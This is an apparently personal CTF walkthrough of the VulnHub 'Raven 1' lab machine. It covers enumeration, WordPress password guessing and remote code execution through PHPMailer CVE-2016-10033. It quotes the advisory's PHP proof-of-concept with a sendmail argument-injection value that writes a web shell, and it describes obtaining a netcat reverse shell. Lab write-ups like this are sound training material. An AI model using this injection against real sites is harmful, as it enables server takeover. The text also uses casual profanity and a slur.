This is part 1 of a walkthrough of a basic pentesting target. The VM can be found at: https://www.vulnhub.com/entry/raven-1,256/
Raven is a Beginner/Intermediate boot2root machine. There are four flags to find and two intended ways of getting root. Built with VMware and tested on Virtual Box. Set up to use NAT networking.
Let’s get started.
Typical login prompt. Sometimes they’re nice enough to display a local IP address here so you don’t have to go through the motions of scanning. I always just make sure it’s the first VM loaded before anything else, so it always gets the .101 IP.
This time around, I decided to start piping all my scans to files for further reference, rather than having to scroll up forever in the terminal or rerunning them.
First things first:
WTF is rpcbind?
Huh, ok. Let’s see if there’s something obvious I can do with it.
Looks like I could possibly fuck the server up, but that doesn’t get me in. Let’s take a look at the HTTP server.

Now isn’t that just totes adorbs. We could click around but fuck that.
Turns out /manual/ is just the standard Apache documentation. Not much to see there. That Wordpress blog though.
It’s another default load-out. The CSS was broken here like in Base Pentesting: 1, and called for the same fix by adding a new domain (raven.local) to my hosts file. Zero content here, so scan for vulnerabilities.
The theme is outdated, but looking at the changelog for it doesn’t show any fixed vulnerabilities.
No default admin account was found, so we probably don’t have default passwords. Let’s see if they’re easily guessed. WPScan has a built in password guesser that you just give the users and passwords to guess. I also have a “500 worst passwords” list I pulled down. I have much bigger, nastier lists as well, but those contain literally millions of entries and will take days or weeks when brute forcing via HTTP. I only deploy those if I’m brute forcing a hash or something I can do offline.
No dice. Time to move on then. The /vendor directory was the last item of interest from the dirb results.
Hmmm.
This thing sounds super familiar…
…and that would be why. Fortunately the target was kind enough to provide me with the version info.
lol. Anyway, the vulnerability and proof-of-concept white paper can be found here https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html. TL;DR: there needs to be a HTML form somewhere on the site that utilizes PHPMailer to send something. Fortunately such a thing was easily discovered.
After finding a ready-made Metasploit package, I figured this would be an easy kill. Well, about that…
Here’s the trouble: it’s not obvious how to set these options. TARGETURI one would think would get the path of the contact.php file, but it apparently doesn’t work that way. Any given web demonstration of this exploit was used against a dummy target that had the index.php file containing the form, so pointing it at the application root / worked just fine. Trying to give it contact.php would result in some invalid URLs. Either I’m retarded and don’t know how to configure this thing, or it’s not appropriate for my target.
This python script I found was no better. It seemed to allow me to point to a given .php file, but lacked the ability to specify a webroot (which entries in the vendor folder told me were slightly different from what was likely expected by the script).
It’s time to try this thing manually. The white paper contains a full proof-of-concept. I should be able to just do it myself.
It will inject the following parameters to sendmail command:
Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [some"@email.com]
which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
The resulting file will contain the payload passed in the body of the msg:
09607 <<< --b1_cb4566aa51be9f090d9419163e492306
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<<
09607 <<<
09607 <<<
09607 <<<
09607 <<<
09607 <<< --b1_cb4566aa51be9f090d9419163e492306--
See the full advisory URL for details.
*/
// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form
$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"@email.com';
$msg_body = "";
// ------------------
// mail() param injection via the vulnerability in PHPMailer
require_once('class.phpmailer.php');
$mail = new PHPMailer(); // defaults to using php "mail()"
$mail->SetFrom($email_from, 'Client Name');
$address = "customer_feedback@company-X.com";
$mail->AddAddress($address, "Some User");
$mail->Subject = "PHPMailer PoC Exploit CVE-2016-10033";
$mail->MsgHTML($msg_body);
if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!\n";
}
?>
All I have to do is paste that code into the From: line and that should inject a payload defined by the message body in the form of php code. The only thing I need to change for my environment is the filepath (replace cache with html).
I can’t submit it here, the client is doing text validation and recognizes that it’s not a valid email. Disabling JavaScript in Firefox didn’t seem to do shit (one of the areas where Safari actually has better built in dev controls). I’m not mucking with trying to prevent the validation from running here, I’m going for the nuclear option.
Text. Only. Browser. This thing doesn’t even support images, let alone scripts.
It gives me an error when I submit. But…
…it works. Now I just need to do it again with a real payload.
This shell code will start a netcat instance that will reach out to the given IP and route all incoming commands to a bash shell instance. Before I load the page and execute it, I need to have a listening server of my end for it to connect to.
The l flag puts it into listening mode. v tells it to be verbose (so that it’ll let me know what’s happening and when someone’s connected). p let’s me specify a port (666 in this case).
After refreshing the phpcode.php page, this happens:
and…
It’s a shell. The crappiest of shells that doesn’t give you a proper prompt, can’t distinguish between my commands and the output, and lacks stderr, but a shell all the same. Of note here: there’s a .php file that apparently made it in from one of my metasploit module attempts, but it always failed to successfully start a shell. The timestamps will give you an idea how long I was bashing my head against it (it didn’t help that each attempt in the module took 5 minutes to see if the reverse shell was successfully created). Also, that scss folder managed to go undetected from the outside.
There are some ways that you can upgrade this basic netcat shell, but all the one’ve I’ve tried have been not much better and have other issues. My typical strategy when I’m a real user with a real login is to create an RSA keypair and add it the authorized ssh keys. Then I can just login with a normal proper shell. However, this user is www-data. It’s not mean to login, and has no login shell defined. So I guess I’ll just have to put up with the netcat shell until I managed to pivot to a different user.
Flag two? Shit.
There’s a possibility the four flags are placed and numbered to be found sequentially in an average test. There might be another one lurking somewhere in the website’s HTML. However, now I’ve got full access instead of guessing directory names.
Why bother trying to scan a website from the outside when you can just extract it like this from the inside? It also helps that I now know what a flag looks like.